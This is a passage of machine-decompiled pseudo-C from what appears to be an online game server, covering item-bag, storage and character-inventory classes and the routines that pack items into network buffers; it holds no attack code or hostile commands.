// 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E6304: using guessed type int (__stdcall *ItemGuildAcademyRewardStorage___vftable_[2])(int slot); //----- (005595D0) -------------------------------------------------------- int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeInput(ItemGuildAcademyRewardStorage *this, ChargedEffectContainer *cec) { return 72; } //----- (005595E0) -------------------------------------------------------- int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeOutput(ItemGuildAcademyRewardStorage *this) { return 72; } //----- (005595F0) -------------------------------------------------------- void __thiscall ItemFurnicherBox::_ItemFurnicherBox(ItemFurnicherBox *this) { ItemFurnicherBox *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemFurnicherBox::_vftable_; _eh_vector_destructor_iterator_( this->ifm_Array, 0x74u, 98, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E6314: using guessed type int (__stdcall *ItemFurnicherBox___vftable_[2])(int slot); //----- (00559650) -------------------------------------------------------- ItemInventoryCell *__thiscall ItemInventory::ib_GetInventoryCell(ItemRewardStorage *this, int slot) { ItemRewardStorage *v2; // esi@1 ItemInventoryCell *result; // eax@2 v2 = this; if ( slot >= ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)() ) result = (ItemInventoryCell *)&ItemBag::ib_staticcell; else result = &v2->irs_Array[slot]; return result; } //----- (00559680) -------------------------------------------------------- int __thiscall ItemFurnicherBox::ib_BagSizeInput(ItemFurnicherBox *this, ChargedEffectContainer *cec) { return 98; } //----- (00559690) -------------------------------------------------------- int __thiscall ItemFurnicherBox::ib_BagSizeOutput(ItemFurnicherBox *this) { return 98; } //----- (005596A0) -------------------------------------------------------- char __thiscall ItemFurnicherBox::ib_GetInvenType(ItemFurnicherBox *this) { return 3; } //----- (005596B0) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Clear(ItemInform_ActionItem *this) { this->iiai_ItemID = -1; } //----- (005596C0) -------------------------------------------------------- ShineDateTime *__thiscall ItemInform_ActionItem::sii_GetDeteleDateTime(ItemInform_ActionItem *this) { return &this->iiai_Attribute.ActionItem.deletetime; } //----- (005596D0) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Import(ItemInform_ActionItem *this, ItemTotalInformation *iti) { *(_QWORD *)&this->iiai_RegistNumber.binary.gap0[0] = *(_QWORD *)&iti->iti_registnum.binary.gap0[0]; this->iiai_ItemID = iti->iti_itemstruct.itemid; this->iiai_Attribute.ActionItem.deletetime._bf0 = *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot; } //----- (005596F0) -------------------------------------------------------- void __thiscall ItemInform_ActionItem::sii_Export(ItemInform_ActionItem *this, ItemTotalInformation *iti) { *(_QWORD *)&iti->iti_registnum.binary.gap0[0] = *(_QWORD *)&this->iiai_RegistNumber.binary.gap0[0]; iti->iti_itemstruct.itemid = this->iiai_ItemID; *(_DWORD *)&iti->iti_itemstruct.itemattr.blot.lot = this->iiai_Attribute.ActionItem.deletetime._bf0; } //----- (00559710) -------------------------------------------------------- void __thiscall ItemRewardStorage::_ItemRewardStorage(ItemRewardStorage *this) { ItemRewardStorage *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ItemBagVtbl *)ItemRewardStorage::_vftable_; _eh_vector_destructor_iterator_( this->irs_Array, 0x74u, 24, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ItemBagVtbl *)NPCAction::ICondition::_vftable_; } // 5E3978: using guessed type int (*NPCAction__ICondition___vftable_[4])(); // 5E6324: using guessed type int (__stdcall *ItemRewardStorage___vftable_[2])(int slot); //----- (00559770) -------------------------------------------------------- void __thiscall ItemBag::ib_InitializeAsNumber(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { PROTO_ITEMPACKET_TOTAL *v4; // ebx@1 ItemBag *v5; // esi@1 int v6; // edi@1 int v7; // ebp@6 int itm; // [sp+Ch] [bp-7Ch]@1 ItemBag *v9; // [sp+10h] [bp-78h]@1 ItemTotalInformation itemtemp; // [sp+14h] [bp-74h]@6 v4 = itmarr; v5 = this; v6 = 0; v9 = this; itm = 0; if ( *itemcounter ) { do { if ( (unsigned int)v4->location.Inven >> 10 == inventype ) { if ( v6 < v5->vfptr->ib_BagSizeOutput(v5) ) { ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v4->info.iti_registnum.binary.gap0); v7 = (int)v5->vfptr->ib_GetInventoryCell(v5, v6); memcpy((void *)v7, &itemtemp, 0x6Cu); *(_WORD *)(v7 + 108) = *(_WORD *)((char *)&itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v7 + 110) = BYTE3(itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y); v6 = itm; v5 = v9; *(_DWORD *)(v7 + 112) = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v7 + 8)); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } else { AssertClass::ac_AssertFail(&shineassert, "ItemRewardStorage::irs_Initializetotal : Invalid slot", v6); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } } else { v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } ++v6; itm = v6; } while ( v6 < (unsigned __int8)*itemcounter ); } } //----- (00559880) -------------------------------------------------------- void __thiscall ItemBoxIterItemRegNo::ItemBoxIterItemRegNo(ItemBoxIterItemRegNo *this, ItemBag *ib, SHINE_ITEM_REGISTNUMBER Regno, ChargedEffectContainer *cec) { ItemBoxIterItemRegNo *v4; // esi@1 int v5; // eax@2 v4 = this; this->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; this->baseclass_0.ibi_itembag = ib; if ( cec ) v5 = ((int (__stdcall *)(_DWORD))ib->vfptr->ib_BagSizeInput)(cec); else v5 = ((int (*)(void))ib->vfptr->ib_BagSizeOutput)(); v4->baseclass_0.ibi_Limit = v5; v4->baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterItemRegNo::_vftable_; *(_QWORD *)&v4->ibii_RegNo.binary.gap0[0] = Regno; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5E636C: using guessed type int (*ItemBoxIterItemRegNo___vftable_[4])(); //----- (005598D0) -------------------------------------------------------- char __thiscall ItemBoxIterItemRegNo::ibi_isvalid(ItemBoxIterItemRegNo *this) { ItemBoxIterItemRegNo *v1; // esi@1 int v2; // eax@1 v1 = this; v2 = (**(int (__stdcall ***)(_DWORD))this->baseclass_0.ibi_itembag)(this->baseclass_0.ibi_finger); return *(_DWORD *)v2 == *(_DWORD *)&v1->ibii_RegNo.binary.gap0[0] && *(_DWORD *)(v2 + 4) == v1->ibii_RegNo.binary._bf4; } //----- (00559900) -------------------------------------------------------- int __cdecl ItemBag::ib_InitStateCell() { int result; // eax@1 ItemBag::ib_staticcell = -1; unk_61060C = -1; result = 0; memset(&unk_610610, 0, 0x64u); *((_WORD *)&unk_610610 + 50) = 0; *((_BYTE *)&unk_610610 + 102) = 0; unk_610610 = -1; off_610678 = &itmattcontainer; return result; } // 610678: using guessed type ItemAttributeClassContainer *off_610678; //----- (00559940) -------------------------------------------------------- void __thiscall ItemBag::ib_Initializetotal(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype) { PROTO_ITEMPACKET_TOTAL *v4; // ebx@1 ItemBag *v5; // esi@1 int v6; // edi@4 int v7; // ebp@6 signed int itm; // [sp+8h] [bp-7Ch]@1 ItemBag *v9; // [sp+Ch] [bp-78h]@1 ItemTotalInformation itemtemp; // [sp+10h] [bp-74h]@6 v4 = itmarr; v5 = this; v9 = this; itm = 0; if ( *itemcounter ) { do { if ( (unsigned int)v4->location.Inven >> 10 == inventype ) { v6 = v4->location.Inven & 0x3FF; if ( (v4->location.Inven & 0x3FF) < v5->vfptr->ib_BagSizeOutput(v5) ) { ItemTotalInformation::iti_fill2struct_whole( &itemtemp, &itmattcontainer.iacc_default, 0xFFFFu, v4->info.iti_registnum.binary.gap0); v7 = (int)v5->vfptr->ib_GetInventoryCell(v5, v4->location.Inven & 0x3FF); memcpy((void *)v7, &itemtemp, 0x6Cu); *(_WORD *)(v7 + 108) = *(_WORD *)((char *)&itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y + 1); *(_BYTE *)(v7 + 110) = BYTE3(itemtemp.iti_itemstruct.itemattr.binditem.portal[9].y); v5 = v9; *(_DWORD *)(v7 + 112) = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(v7 + 8)); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } else { AssertClass::ac_AssertFail(&shineassert, "ItemBag::ib_Initializetotal : Invalid slot", v6); v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } } else { v4 = (PROTO_ITEMPACKET_TOTAL *)((char *)v4 + v4->datasize + 1); } ++itm; } while ( itm < (unsigned __int8)*itemcounter ); } } //----- (00559A70) -------------------------------------------------------- int __thiscall ItemAccountStorage::ias_FillBufferItem(ItemAccountStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, const char *charid, int from, int to) { PROTO_ITEMPACKET_INFORM *v6; // edi@1 int v7; // esi@4 unsigned __int16 v8; // ax@5 int v9; // ebp@6 unsigned __int16 v10; // cx@8 int v11; // eax@10 _iobuf *v12; // ebx@12 _iobuf *v13; // ebx@15 unsigned __int16 v14; // ax@16 char v15; // al@16 ItemBoxIterItem ibi; // [sp+4h] [bp-1Ch]@1 int v18; // [sp+1Ch] [bp-4h]@1 *itemcounter = 0; ibi.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibi.baseclass_0.ibi_itembag = (ItemBag *)this; v6 = itmarr; ibi.baseclass_0.ibi_Limit = ((int (*)(void))this->baseclass_0.vfptr->ib_BagSizeOutput)(); ibi.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v18 = 0; ibi.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibi) ) { LABEL_4: v7 = ((int (__stdcall *)(int))ibi.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibi.baseclass_0.ibi_finger); if ( !v7 ) return (char *)v6 - itemcounter; v8 = *(_WORD *)(v7 + 8); if ( v8 < (unsigned int)dword_125739EC ) { v9 = dword_12574188 + 28 * v8; if ( v9 ) { if ( *(_DWORD *)v9 ) { v10 = **(_WORD **)v9; if ( v10 == v8 ) { v11 = dword_12574188 + 28 * v8; goto LABEL_11; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v10 + 10000 * v8); } } } v11 = 0; LABEL_11: if ( v11 ) { if ( *(_DWORD *)v11 != 0 ) { v14 = v6->location.Inven & 0x3FF | 0x1800; v6->location.Inven = v14; v6->location.Inven = v14 ^ (LOWORD(ibi.baseclass_0.ibi_finger) ^ v14) & 0x3FF; v15 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v7, *(ItemAttributeClass **)(v7 + 112), *(_WORD *)(v7 + 8), (char *)&v6->info)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v15; v6 = (PROTO_ITEMPACKET_INFORM *)((char *)v6 + (unsigned __int8)v15 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ias_FillBufferItem : Invalid ItemID found", *(_WORD *)(v7 + 8)); v13 = fopen("StorageError.txt", "a"); fprintf(v13, "%s %d\n"); fclose(v13); } } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ias_FillBufferItem : Invalid ItemID found", *(_WORD *)(v7 + 8)); v12 = fopen("StorageError.txt", "a"); fprintf(v12, "%s/%d\n"); fclose(v12); } while ( ibi.baseclass_0.ibi_finger < ibi.baseclass_0.ibi_Limit - 1 ) { ++ibi.baseclass_0.ibi_finger; if ( (unsigned __int8)ibi.baseclass_0.vfptr->ibi_isvalid(&ibi) ) goto LABEL_4; } return (char *)v6 - itemcounter; } while ( ibi.baseclass_0.ibi_finger < ibi.baseclass_0.ibi_Limit - 1 ) { ++ibi.baseclass_0.ibi_finger; if ( (unsigned __int8)ibi.baseclass_0.vfptr->ibi_isvalid(&ibi) ) goto LABEL_4; } return (char *)v6 - itemcounter; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00559CC0) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferInventoryItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, int *from, int buffersize, ItemBag *bag) { ItemBag *v7; // eax@1 PROTO_ITEMPACKET_INFORM *v8; // esi@1 int (__thiscall *v9)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 int v11; // edi@8 int v12; // ebx@12 int v13; // eax@13 int v14; // edi@13 unsigned __int16 v15; // bp@13 unsigned int v16; // eax@13 int v17; // eax@14 unsigned __int16 *v18; // ecx@19 unsigned __int16 v19; // cx@20 int v20; // eax@22 int v21; // eax@27 char v22; // al@27 ItemBoxIterItem ibii; // [sp+4h] [bp-1Ch]@6 int v24; // [sp+1Ch] [bp-4h]@6 *itemcounter = 0; v7 = bag; v8 = itmarr; if ( !bag && ((unsigned __int16)box < 0x11u ? (v9 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)box]) : (v9 = ShineObjectClass::ShineObject::so_mh_PortalOpen), (v7 = (ItemBag *)v9((ItemAttributeClass *)&charinvenman, (ItemTotalInformation *)this)) == 0) || (ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_, ibii.baseclass_0.ibi_itembag = v7, ibii.baseclass_0.ibi_Limit = v7->vfptr->ib_BagSizeOutput(v7), ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_, v24 = 0, !ItemBoxIterator::ibi_Home(&ibii.baseclass_0)) ) return 0; v11 = 0; if ( *from <= 0 ) { LABEL_12: v12 = 0; LABEL_13: v13 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v14 = v13; v15 = *(_WORD *)(v13 + 8); v16 = *(_WORD *)(v13 + 8); if ( v16 < dword_125739EC ) { v17 = dword_12574188 + 28 * v16; if ( v17 ) { if ( *(_DWORD *)v17 ) { if ( **(_WORD **)v17 == v15 ) { if ( v15 < (unsigned int)dword_125739EC ) { if ( dword_12574188 + 28 * v15 ) { v18 = *(unsigned __int16 **)(dword_12574188 + 28 * v15); if ( v18 ) { v19 = *v18; if ( v19 == v15 ) { v20 = dword_12574188 + 28 * v15; goto LABEL_23; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v19 + 10000 * v15); } } } v20 = 0; LABEL_23: if ( *(_DWORD *)v20 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_FillBufferInventoryItem : Invalid ItemID found", *(_WORD *)(v14 + 8)); goto LABEL_28; } v21 = (box << 10) | v8->location.Inven & 0x3FF; v8->location.Inven = v21; v8->location.Inven = v21 ^ (LOWORD(ibii.baseclass_0.ibi_finger) ^ v21) & 0x3FF; v22 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v14, *(ItemAttributeClass **)(v14 + 112), *(_WORD *)(v14 + 8), (char *)&v8->info)[2 - ((_BYTE)v8 + 3)]; v8->datasize = v22; ++*itemcounter; v8 = (PROTO_ITEMPACKET_INFORM *)((char *)v8 + (unsigned __int8)v22 + 1); v12 = (char *)v8 - (char *)itmarr; ++*from; if ( (signed int)((char *)v8 - (char *)itmarr) < buffersize ) { LABEL_28: while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) goto LABEL_13; } } return v12; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v17 + 10000 * v15); } } } return 0; } while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) { ++v11; if ( v11 >= *from ) goto LABEL_12; } } return 0; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00559F70) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr) { PROTO_ITEMPACKET_INFORM *v3; // esi@1 int v4; // ebp@1 signed int v5; // edi@1 int (__thiscall *v6)(ItemAttributeClass *, ItemTotalInformation *); // eax@3 ItemBag *v7; // eax@5 int v8; // eax@9 int v9; // ebp@9 unsigned __int16 v10; // dx@9 unsigned int v11; // eax@9 int v12; // ecx@10 unsigned __int16 *v13; // ecx@11 unsigned __int16 v14; // cx@12 unsigned __int16 *v15; // edi@14 int v16; // edi@17 unsigned __int16 v17; // cx@19 unsigned __int16 v18; // ax@25 char v19; // al@25 signed int box; // [sp+4h] [bp-24h]@1 ItemTotalInformation *itm; // [sp+8h] [bp-20h]@1 ItemBoxIterItem ibii; // [sp+Ch] [bp-1Ch]@6 int v24; // [sp+24h] [bp-4h]@6 v3 = itmarr; v4 = 0; v5 = 0; itm = (ItemTotalInformation *)this; *itemcounter = 0; box = 0; do { if ( (unsigned __int16)v5 < 0x11u ) v6 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)v5]; else v6 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v7 = (ItemBag *)v6((ItemAttributeClass *)&charinvenman, itm); if ( v7 != (ItemBag *)v4 ) { ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v7; ibii.baseclass_0.ibi_Limit = v7->vfptr->ib_BagSizeOutput(v7); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v24 = v4; ibii.baseclass_0.ibi_finger = v4; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) { while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) goto LABEL_9; } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_30; } LABEL_9: v8 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v9 = v8; v10 = *(_WORD *)(v8 + 8); v11 = *(_WORD *)(v8 + 8); if ( v11 >= dword_125739EC || (v12 = dword_12574188 + 28 * v11) == 0 || (v13 = *(unsigned __int16 **)v12) == 0 ) goto LABEL_14; v14 = *v13; if ( v14 != v10 ) { AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v11); LABEL_14: v15 = 0; LABEL_23: if ( v15 ) { v18 = v3->location.Inven & 0x3FF | ((_WORD)box << 10); v3->location.Inven = v18; v3->location.Inven = v18 ^ (LOWORD(ibii.baseclass_0.ibi_finger) ^ v18) & 0x3FF; v19 = (char)&ItemTotalInformation::iti_fill2buffer_union( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), (char *)&v3->info)[-(_BYTE)v3 - 1]; v3->datasize = v19; v3 = (PROTO_ITEMPACKET_INFORM *)((char *)v3 + (unsigned __int8)v19 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_fullbuffertotal : Invalid ItemID found", *(_WORD *)(v9 + 8)); } while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) goto LABEL_9; } v5 = box; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v4 = 0; LABEL_30: v24 = -1; goto LABEL_31; } if ( v10 < (unsigned int)dword_125739EC ) { v16 = dword_12574188 + 28 * v10; if ( v16 ) { if ( *(_DWORD *)v16 ) { v17 = **(_WORD **)v16; if ( v17 == v10 ) { LABEL_22: v15 = *(unsigned __int16 **)v16; goto LABEL_23; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v17 + 10000 * v10); } } } v16 = 0; goto LABEL_22; } LABEL_31: ++v5; box = v5; } while ( v5 < 17 ); return (char *)v3 - (char *)itmarr; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0055A1D0) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferInventoryTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int buffersize) { PROTO_ITEMPACKET_TOTAL *v6; // esi@1 int (__thiscall *v7)(ItemAttributeClass *, ItemTotalInformation *); // eax@2 ItemBag *v8; // eax@4 int v10; // edi@7 int v11; // ebx@11 int v12; // eax@12 int v13; // edi@12 unsigned __int16 v14; // bp@12 unsigned int v15; // eax@12 int v16; // eax@13 unsigned __int16 *v17; // ecx@18 unsigned __int16 v18; // cx@19 int v19; // eax@21 int v20; // eax@26 char v21; // al@26 ItemBoxIterItem ibii; // [sp+8h] [bp-1Ch]@5 int v23; // [sp+20h] [bp-4h]@5 *itemcounter = 0; v6 = itmarr; if ( (unsigned __int16)box < 0x11u ) v7 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)box]; else v7 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v8 = (ItemBag *)v7((ItemAttributeClass *)&charinvenman, (ItemTotalInformation *)this); if ( !v8 || (ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_, ibii.baseclass_0.ibi_itembag = v8, ibii.baseclass_0.ibi_Limit = v8->vfptr->ib_BagSizeOutput(v8), ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_, v23 = 0, !ItemBoxIterator::ibi_Home(&ibii.baseclass_0)) ) return 0; v10 = 0; if ( *from <= 0 ) { LABEL_11: v11 = 0; LABEL_12: v12 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v13 = v12; v14 = *(_WORD *)(v12 + 8); v15 = *(_WORD *)(v12 + 8); if ( v15 < dword_125739EC ) { v16 = dword_12574188 + 28 * v15; if ( v16 ) { if ( *(_DWORD *)v16 ) { if ( **(_WORD **)v16 == v14 ) { if ( v14 < (unsigned int)dword_125739EC ) { if ( dword_12574188 + 28 * v14 ) { v17 = *(unsigned __int16 **)(dword_12574188 + 28 * v14); if ( v17 ) { v18 = *v17; if ( v18 == v14 ) { v19 = dword_12574188 + 28 * v14; goto LABEL_22; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v18 + 10000 * v14); } } } v19 = 0; LABEL_22: if ( *(_DWORD *)v19 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_FillBufferInventoryTotal : Invalid ItemID found", *(_WORD *)(v13 + 8)); goto LABEL_27; } v20 = (box << 10) | v6->location.Inven & 0x3FF; v6->location.Inven = v20; v6->location.Inven = v20 ^ (LOWORD(ibii.baseclass_0.ibi_finger) ^ v20) & 0x3FF; v21 = (char)&ItemTotalInformation::iti_fill2buffer_whole( (ItemTotalInformation *)v13, *(ItemAttributeClass **)(v13 + 112), *(_WORD *)(v13 + 8), v6->info.iti_registnum.binary.gap0)[2 - ((_BYTE)v6 + 3)]; v6->datasize = v21; ++*itemcounter; v6 = (PROTO_ITEMPACKET_TOTAL *)((char *)v6 + (unsigned __int8)v21 + 1); v11 = (char *)v6 - (char *)itmarr; ++*from; if ( (signed int)((char *)v6 - (char *)itmarr) < buffersize ) { LABEL_27: while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) goto LABEL_12; } } return v11; } AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", **(_WORD **)v16 + 10000 * v14); } } } return -1; } while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) { ++v10; if ( v10 >= *from ) goto LABEL_11; } } return 0; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0055A470) -------------------------------------------------------- int __thiscall CharacterInventory::ci_FillBufferTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr) { PROTO_ITEMPACKET_TOTAL *v3; // esi@1 int v4; // ebp@1 signed int v5; // edi@1 int (__thiscall *v6)(ItemAttributeClass *, ItemTotalInformation *); // eax@4 ItemBag *v7; // eax@6 int v8; // eax@10 int v9; // edi@10 __int16 v10; // dx@10 unsigned int v11; // eax@10 int v12; // ebx@11 unsigned __int16 v13; // cx@13 int v14; // eax@15 int v15; // eax@20 char v16; // al@20 signed int box; // [sp+4h] [bp-24h]@1 ItemTotalInformation *itm; // [sp+8h] [bp-20h]@1 ItemBoxIterItem ibii; // [sp+Ch] [bp-1Ch]@7 int v21; // [sp+24h] [bp-4h]@7 v3 = itmarr; v4 = 0; v5 = 0; itm = (ItemTotalInformation *)this; *itemcounter = 0; box = 0; while ( 1 ) { if ( (unsigned __int16)v5 < 0x11u ) v6 = (int (__thiscall *)(ItemAttributeClass *, ItemTotalInformation *))charinvenman.cim_Array[(unsigned __int16)v5]; else v6 = ShineObjectClass::ShineObject::so_mh_PortalOpen; v7 = (ItemBag *)v6((ItemAttributeClass *)&charinvenman, itm); if ( v7 != (ItemBag *)v4 ) { ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = v7; ibii.baseclass_0.ibi_Limit = v7->vfptr->ib_BagSizeOutput(v7); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v21 = v4; ibii.baseclass_0.ibi_finger = v4; if ( !(unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) ) { while ( ibii.baseclass_0.ibi_finger < ibii.baseclass_0.ibi_Limit - 1 ) { ++ibii.baseclass_0.ibi_finger; if ( (unsigned __int8)ibii.baseclass_0.vfptr->ibi_isvalid(&ibii) ) goto LABEL_10; } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; goto LABEL_25; } LABEL_10: v8 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v9 = v8; v10 = *(_WORD *)(v8 + 8); v11 = *(_WORD *)(v8 + 8); if ( v11 < dword_125739EC ) { v12 = dword_12574188 + 28 * v11; if ( v12 ) { if ( *(_DWORD *)v12 ) { v13 = **(_WORD **)v12; if ( v13 == v10 ) { v14 = dword_12574188 + 28 * v11; goto LABEL_16; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v13 + 10000 * v11); } } } v14 = 0; LABEL_16: if ( *(_DWORD *)v14 != 0 ) { v15 = (box << 10) | v3->location.Inven & 0x3FF; v3->location.Inven = v15; v3->location.Inven = v15 ^ (LOWORD(ibii.baseclass_0.ibi_finger) ^ v15) & 0x3FF; v16 = (char)&ItemTotalInformation::iti_fill2buffer_whole( (ItemTotalInformation *)v9, *(ItemAttributeClass **)(v9 + 112), *(_WORD *)(v9 + 8), v3->info.iti_registnum.binary.gap0)[-(_BYTE)v3 - 1]; v3->datasize = v16; v3 = (PROTO_ITEMPACKET_TOTAL *)((char *)v3 + (unsigned __int8)v16 + 1); ++*itemcounter; } else { AssertClass::ac_AssertFail( &shineassert, "CharacterInventory::ci_fullbuffertotal : Invalid ItemID 